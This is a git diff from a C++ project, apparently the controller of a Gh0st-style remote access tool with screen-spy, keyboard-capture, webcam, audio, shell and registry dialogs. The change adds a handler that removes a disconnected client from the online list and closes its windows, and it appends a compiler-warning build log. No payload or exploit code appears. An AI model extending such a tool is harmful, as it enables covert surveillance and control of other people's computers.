diff --git a/0.zip b/0.zip deleted file mode 100644 index 5f4f55f..0000000 Binary files a/0.zip and /dev/null differ diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index d1a5ac0..9a743f8 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CcRemote.aps b/CcRemote/CcRemote/CcRemote.aps new file mode 100644 index 0000000..5409c56 Binary files /dev/null and b/CcRemote/CcRemote/CcRemote.aps differ diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp index 2c4c97d..01abfea 100644 --- a/CcRemote/CcRemote/CcRemoteDlg.cpp +++ b/CcRemote/CcRemote/CcRemoteDlg.cpp @@ -92,6 +92,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog) ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog) + ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList) + //-------------系统------------- ON_WM_SYSCOMMAND() @@ -133,7 +135,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, case NC_CLIENT_CONNECT: break; case NC_CLIENT_DISCONNECT: - //g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); + g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); break; case NC_TRANSMIT: break; @@ -915,9 +917,6 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext) /* case TOKEN_WEBCAM_BITMAPINFO: // 摄像头 g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext); - break; - case TOKEN_KEYBOARD_START: - g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); break;*/ case TOKEN_AUDIO_START: // 语音 g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext); @@ -1204,6 +1203,53 @@ LRESULT CCcRemoteDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CCcRemoteDlg::OnRemoveFromList(WPARAM wParam, LPARAM lParam) +{ + ClientContext *pContext = (ClientContext *)lParam; + if (pContext == NULL) + return -1; + // 删除链表过程中可能会删除Context + CString strIP;//选择断开的IP + try + { + int nCnt = m_CList_Online.GetItemCount(); + for (int i = 0; i < nCnt; i++) + { + if (pContext == (ClientContext *)m_CList_Online.GetItemData(i)) + { + strIP = m_CList_Online.GetItemText(i, ONLINELIST_IP);//获取断开的IP字符串 + strIP += "下线"; + ShowMessage(true, strIP);//显示日志// 更新当前连接总数 + m_CList_Online.DeleteItem(i); + break; + } + } + + // 关闭相关窗口 + + switch (pContext->m_Dialog[0]) + { + case FILEMANAGER_DLG: + case SCREENSPY_DLG: + case WEBCAM_DLG: + case AUDIO_DLG: + case KEYBOARD_DLG: + case SYSTEM_DLG: + case SHELL_DLG: + //((CDialog*)pContext->m_Dialog[1])->SendMessage(WM_CLOSE); + ((CDialog*)pContext->m_Dialog[1])->DestroyWindow(); + break; + default: + break; + } + } + catch (...) {} + + + + return 0; +} + //绘制背景图片 BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC) { diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h index 284c59f..6c59087 100644 --- a/CcRemote/CcRemote/CcRemoteDlg.h +++ b/CcRemote/CcRemote/CcRemoteDlg.h @@ -125,6 +125,7 @@ public: afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM); afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM); afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM); + afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM); //-------------系统消息处理------------- afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log index f2696e3..c5257a0 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.log +++ b/CcRemote/CcRemote/Debug/CcRemote.log @@ -1,2 +1,96 @@ G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 + pch.cpp + Audio.cpp +g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 + CAudioDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CcRemote.cpp + CcRemoteDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(902): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(990): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CFileManagerDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列 +g:\ccremote\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据 + CHelpWindow.cpp + CKeyBoardDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CServerDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + FileTransferModeDlg.cpp + CScreenSpyDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级 +g:\ccremote\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级 + CSettingDlg.cpp + CShellDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 + CSystemDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CpuUsage.cpp + IniFile.cpp +g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + InputDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 +g:\ccremote\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明 +g:\ccremote\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 + RegDlg.cpp +g:\ccremote\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 +g:\ccremote\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 + SEU_QQwry.cpp + TrueColorToolBar.cpp + 正在生成代码... + Buffer.cpp + IOCPServer.cpp +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配 + 正在生成代码... +zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 +zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样 CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index e392caa..f2edb80 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ